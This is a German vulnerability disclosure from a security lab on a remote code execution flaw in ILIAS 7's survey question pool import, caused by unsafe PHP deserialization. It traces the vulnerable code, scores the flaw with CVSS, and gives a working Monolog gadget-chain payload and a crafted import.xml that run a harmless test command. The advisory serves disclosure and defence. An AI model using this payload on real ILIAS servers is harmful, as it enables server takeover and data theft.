Weitere Veröffentlichungen

In unserem Labor schreiben wir regelmäßig in Form von Blogbeiträgen über identifizierte Sicherheitslücken, welche nach dem Responsible Disclosure Verfahren veröffentlicht werden.

Veröffentlichung (CVE-2024-XXXXX)

ILIAS 7 - Remote Code Execution in "Fragenpool für Umfragen" Import

13.08.2024 - Rene Rehme

Im Zuge eines Penetrationstests haben wir eine Sicherheitslücken in ILIAS Version 7.29 identifiziert. Es handelt sich um eine Remote Code Execution (RCE) Sicherheitslücke, welche durch eine sog. Insecure Deserialization bewerkstelligt werden konnte. Eine RCE erlaubt einem Angreifer, serverseitig Code auszuführen.

Responsible Disclosure

2024 - Die Sicherheitslücke wurde identifiziert.

14. Mai. 2024 - Die Sicherheitslücke wurde an ILIAS gemeldet.
24. Mai. 2024 - ILIAS open source e-Learning e.V merkt an: Für Bugfixes und Sicheheitsupdates werden nur noch für die ILIAS-Versionen 8, 9 und 10 (trunk) berücksichtigt.

Allgemeine Beschreibung

Vulnerabel ist das Modul SurveyQuestionPool (Fragenpool für Umfragen) bzw. die Import-Funktionalität dieses Moduls in ILIAS <= 7.28. Ein potenzieller Angreifer kann bei einer Ausnutzung dieser Sicherheitslücke serverseitig Code ausführen. Die Voraussetzung einer Ausnutzung ist ein User-Account mit den Rechten write und read, für die Erstellung und das Einsehen eines Fragepools für Umfragen.

 

Die Remote Code Execution (RCE) wird durch die vom Benutzer bereitgestellten Eingaben ermöglicht, da diese ungefiltert an eine PHP-Funktion unserialize() übergeben werden.

Proof of Concept (PoC)

Folgend die Logik, welche bei einem Import bis zur betreffenden PHP-Funktion unserialize() durchläuft:

class.ilObjSurveyQuestionPoolGUI.php
public function importFileObject($parent_id = null, $a_catch_errors = true)
{
    [...]
    if ($form->checkInput()) {
        [...]
        // copy uploaded file to import directory
        $upload = $_FILES["importfile"];
        $file = pathinfo($upload["name"]);
        $full_path = $newObj->getImportDirectory() . "/" . $upload["name"];
        ilUtil::moveUploadedFile(
            $upload["tmp_name"],
            $upload["name"],
            $full_path
        );

        // import qti data
        $qtiresult = $newObj->importObject($full_path);
		[...]
    }
    [...]
}

Über die Methode importFileObject() wird das hochgeladene File $_FILES["importfile"]; behandelt und in ein Import Verzeichnis verschoben [1]. Über importObject() [2] wird das abgelegte Zip File weiter verarbeitet.

class.ilObjSurveyQuestionPool.php
public function importObject($source, $spl_exists = false)
{
    if (is_file($source)) {
        $isZip = (strcmp(strtolower(substr($source, -3)), 'zip') == 0);
        if ($isZip) {
            // unzip file
            ilUtil::unzip($source);

            // determine filenames of xml files
            $subdir = basename($source, ".zip");
            $source = dirname($source) . "/" . $subdir . "/" . $subdir . ".xml";
        }

        $fh = fopen($source, "r") or die("");
        $xml = fread($fh, filesize($source));
        [...]
        if (strpos($xml, "questestinterop") > 0) {
            throw new ilInvalidSurveyImportFileException("Unsupported survey version (< 3.8) found.");
        } else {
            // survey questions for ILIAS >= 3.8
            $import = new SurveyImportParser($this->getId(), "", $spl_exists);
            $import->setXMLContent($xml);
            $import->startParsing();
        }
    }
}

Folgend wird in das Zip File entpackt [1] und der Pfad zur XML Datei in der Variable $source deklariert [2]. Über fread() wird der inhalt des XML Files gelesen [3] und wird anschließend an den SurveyImportParser via setXMLContent() übergeben. Final wird startParsing() angesprochen [4].

class.SurveyImportParser.php
public function startParsing()
{
    parent::startParsing();
}

Die Methode startParsing() wird in der Klasse class.SurveyImportParser.php angesprochen, welche wiederum startParsing() [1] der übergeordneten Klasse aufruft.

class.ilSaxParser.php
public function startParsing()
{
    $xml_parser = $this->createParser();
    $this->setOptions($xml_parser);
    $this->setHandlers($xml_parser);

    switch ($this->getInputType()) {
        [...]
        case 'string':
            $this->parse($xml_parser);
            break;

        [...]
    }
    $this->freeParser($xml_parser);
}

In der Elternklasse class.ilSaxParser.php wird der Parser dem handler übergeben [1]. Im weiteren Verlauf wird via parse() das Parsing des XML angestoßen [2]

class.SurveyImportParser.php
public function setHandlers($a_xml_parser)
{
    xml_set_object($a_xml_parser, $this);
    xml_set_element_handler($a_xml_parser, 'handlerBeginTag', 'handlerEndTag');
    xml_set_character_data_handler($a_xml_parser, 'handlerCharacterData');
}

Bei der Festlegung von Handler-Funktionen wird in der Klasse class.SurveyImportParser.php über xml_set_selement_handler() der Beginn und das Ende eines XML-Tags via handlerBeginTag und handlerEndTag definiert [1]. Der XML-Parser beachtet entsprechende Handler-Funktionen bei benutzerdefinierter Verarbeitungslogik.

class.SurveyImportParser.php
public function handlerEndTag($a_xml_parser, $a_name)
{
    switch ($a_name) {
        [...]
        case "metadata":
            if (strcmp($this->getParent($a_xml_parser), "question") == 0) {
                if (is_object($this->activequestion)) {
                    $this->activequestion->importAdditionalMetadata($this->metadata);
                }
            }
            [...]
            break;
		[...]
    }
	[...]
}

In der Methode handlerEndTag wird importAdditionalMetadata() aufgerufen [1], wenn bei der Verarbeitung der XML entsprechend der Case metadata matched. 

class.SurveyMatrixQuestion.php
public function importAdditionalMetadata($a_meta)
    {
        foreach ($a_meta as $key => $value) {
            switch ($value["label"]) {
                [...]
                case "layout":
                    $this->setLayout($value["entry"]);
                    break;
                [...]
            }
        }
    }

Folgend werden in der Klasse class.SurveyMatrixQuestion.php über die Methode importAdditionalMetadata() alle Child-Elemente durchlaufen, die innerhalb des metadata Attributes vorkommen. Wenn das Attribut layout matched wird $value["entry"] an die Methode setLayout() übergeben [1].

 

Finale Codeausführung durch unserialize()

class.SurveyMatrixQuestion.php
public function setLayout($layout)
{
    if (is_array($layout)) {
        $this->layout = $layout;
    } else {
        $this->layout = unserialize($layout);
    }
}

Die Funktion unserialize wandelt den in der Variable $layout [1] deklarierten String in eine Datenstruktur um. Da wir die Kontrolle über die Textdarstellung haben, kann ein PHP-Objekte beliebig erstellt werden. 

 

Hintergrund: ILIAS erstellt bei einem Export für den Wert des Attributes fieldentry innerhalb von metadatafield einen String, welcher beim layout Block ein serialisiertes PHP-Objekt darstellt. In umgekehrter Richtung wird die Textdarstellung bei einem Import in ein PHP-Objekt umgewandelt. PHP erledigt dies ohne jegliche Geschäftslogik. 

 

Es gibt mehrere Wege wie sich durch diese Begebenheit potenziell eine RCE ermöglichen lässt. Neben der denkbaren Ausnutzung von "Magic Methods" in ILIAS, haben wir eine Gadget chain verwendet. Da ILIAS Open-Source-Komponenten von Drittanbietern, wie z. B. Monolog verwendet, können bekannte Payloads verwendet werden. Alernativ könnte in der Geschäftslogik von ILIAS eine Möglichkeit zur Ausnutzung gesucht werden.

 

Hinweis: Die folgende unserialize-payload enthält Nicht-ASCII-Bytes (Null-Byte Character), weshalb wir alle Teile in HEX (Delimiter: \) konvertiert haben.

Unserialize Payload
O:37:"Monolog\Handler\FingersCrossedHandler":3:{S:16:"\00\2a\00\70\61\73\73\74\68\72\75\4c\65\76\65\6c";i:0;S:9:"\00\2a\00\62\75\66\66\65\72";a:1:{S:4:"\74\65\73\74";a:2:{i:0;S:51:"\65\63\68\6f\20\27\45\78\70\6c\6f\69\74\20\73\75\63\63\65\73\73\66\75\6c\6c\79\20\65\78\65\63\75\74\65\64\27\20\3e\20\2f\74\6d\70\2f\70\6f\63\2e\74\78\74";S:5:"\6c\65\76\65\6c";N;}}S:10:"\00\2a\00\68\61\6e\64\6c\65\72";O:28:"Monolog\Handler\GroupHandler":1:{S:13:"\00\2a\00\70\72\6f\63\65\73\73\6f\72\73";a:2:{i:0;S:7:"\63\75\72\72\65\6e\74";i:1;S:6:"\73\79\73\74\65\6d";}}}

Interessant dürfte hier der HEX String 65 63 68 6f 20 27 45 78 70 6c 6f 69 74 20 73 75 63 63 65 73 73 66 75 6c 6c 79 20 65 78 65 63 75 74 65 64 27 20 3e 20 2f 74 6d 70 2f 70 6f 63 2e 74 78 74 sein, welcher (übersetzt) dem folgenden CLI Command entspricht: echo 'Exploit successfully executed' > /tmp/poc.txt und via system() ausgeführt werden soll.

import.xml
<?xml version="1.0" encoding="utf-8"?>
<surveyobject xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="http://www.ilias.de/download/xsd/ilias_survey_4_2.xsd">
    <surveyquestions id="qpl_514" label="test" online="0">
        <question id="7" title="test" type="SurveyMatrixQuestion" subtype="0" obligatory="1">
            [...]
            <metadata>
                [...]
                <metadatafield>
                    <fieldlabel>layout</fieldlabel>
                    <fieldentry>O:37:"Monolog\Handler\FingersCrossedHandler":3:{S:16:"\00\2a\00\70\61\73\73\74\68\72\75\4c\65\76\65\6c";i:0;S:9:"\00\2a\00\62\75\66\66\65\72";a:1:{S:4:"\74\65\73\74";a:2:{i:0;S:51:"\65\63\68\6f\20\27\45\78\70\6c\6f\69\74\20\73\75\63\63\65\73\73\66\75\6c\6c\79\20\65\78\65\63\75\74\65\64\27\20\3e\20\2f\74\6d\70\2f\70\6f\63\2e\74\78\74";S:5:"\6c\65\76\65\6c";N;}}S:10:"\00\2a\00\68\61\6e\64\6c\65\72";O:28:"Monolog\Handler\GroupHandler":1:{S:13:"\00\2a\00\70\72\6f\63\65\73\73\6f\72\73";a:2:{i:0;S:7:"\63\75\72\72\65\6e\74";i:1;S:6:"\73\79\73\74\65\6d";}}}</fieldentry>
                </metadatafield>
            </metadata>
        </question>
        [...]
    </surveyquestions>
</surveyobject>

Die Payload wird entsprechend dem <filedlabel> layout als Wert im <fieldentry> Tag angegeben [1].

 

Abschließend wird das XML File gezippt und regulär über die Import Funktionalität Option 2: Fragenpool für Umfragen importieren hochgeladen.

Die Payload wird während des Imports bei der Datenverarbeitung im Hintergrund ausgeführt. Eine Überprüfung ob der Schadcode ausgeführt wurde, kann via cat /tmp/poc.txt auf dem Webserver erfolgen:

 

content image

Auswirkungen

Diese Sicherheitslücke kann erhebliche Auswirkungen auf die Sicherheit der betroffenen ILIAS-Installation und des zugrunde liegenden Betriebssystem haben. Alle auf dem Server gespeicherten Daten, Dateien und Komponenten, die der Webserver-User mit gegebenen Rechten lesen, bearbeiten oder löschen kann, sind potenziell betroffen. Ein Angreifer, der diese Sicherheitslücke erfolgreich ausnutzt, könnte zudem das System beschädigen oder weitere Angriffe in Kombination anderer Sicherheitslücken durchführen.

Klassifikation

CWE-20 Improper Input Validation

CWE-502 Deserialization of Untrusted Data

Bewertung

Exploitability Metrics

Attack Vector (AV): N
Es handelt sich um einen Netzwerkangriff. Die verwundbare Komponente ist "aus der Ferne ausnutzbar" und wird als ein Angriff betrachtet, der auf Protokollebene über das Internet stattfindet.
 

Attack Complexity (AC): L
Besondere Zugangsbedingungen oder mildernde Umstände bestehen nicht.
 

Attack Requirements (AT): N
Es wird davon ausgehen, dass die Payload in den meisten Fällen erfolgreich ausgeführt wird. Es werden keine besonderen Einstellungen oder Konfigurationen vorrausgesetzt.
 

Privileges Required (PR): H
Der Angreifer benötigt Privilegien, die Benutzerfunktionen eines Users bereitstellen, welche genau genommen das Lesen und Schreiben von "Fragenpool für Tests" erlaubt. Für eine Ausnutzung reicht i.d.R ein Tutoren-Account. Wir haben die Metrik PR mit "High" gewertet, da zwar keine administrativen (Root) Rechte erforderlich sind, Tutoren-Rechte aber in den meisten Fällen nicht durch eine reguläre Account-Registrierung gegeben sind.

User Interaction (UI): N
Es ist keine User-Interaktion durch ein Opfer notwendig.

Vulnerable System Impact Metrics

Confidentiality (VC): H
Bei einen erfolgreichen Angriff kommt es zu einem totalen Verlust der Vertraulichkeit. Ressourcen innerhalb der betroffenen Komponente werden dem Angreifer bei gegebenem Lesezugriff und entsprechender Berechtigung durch den Webserver-User www-data offengelegt. Code wird serverseitig ausgeführt.
 

Integrity (VI): H
Bei einem erfolgreichen Angriff kommt es zu einem totalen Verlust der Integrität. Der Angreifer ist in der Lage Dateien der betroffenen Anwendung zu verändern. Code wird serverseitig ausgeführt.
 

Availability (VA): H
Bei einem erfolgreichen Angriff ist der Angreifer ist in der Lage, den Zugang zu den Ressourcen der betroffenen Applikation vollständig zu verweigern, indem z.B. Dateien oder Daten gelöscht werden. Code wird serverseitig ausgeführt.

Subsequent System Impact Metrics

Confidentiality (SC): H
Bei einem erfolgreichen Angriff kommt es zu einem totalen Verlust der Vertraulichkeit. Ressourcen und Komponenten des Betriebssystems werden dem Angreifer bei gegebenem Lesezugriff und entsprechender Berechtigung durch den Webserver-User www-data offengelegt. Der Zugriff wird z.B. auf MySQL, sonstige Komponenten oder andere Applikationen tendenziell ermöglicht. Code wird serverseitig ausgeführt.
 

Integrity (SI): H
Bei einem erfolgreichen Angriff kommt es zu einem totalen Verlust der Integrität. Der Angreifer ist in der Lage Dateien des Betriebssystems oder anderen Applikationen zu verändern. Code wird serverseitig ausgeführt.
 

Availability (SA): H
Bei einem erfolgreichen Angriff ist der Angreifer ist in der Lage, den Zugang zu den Ressourcen aus Komponenten des Betriebssystems oder ggf. anderen Applikationen vollständig zu verweigern, indem z.B. Dateien oder Daten mit den Rechten des Webserver-Users gelöscht werden. Code wird serverseitig ausgeführt.

Externe Informationen

ILIAS (Vendor) Advisories

https://docu.ilias.de/goto_docu_pg_...

https://docu.ilias.de/goto_docu_pg_...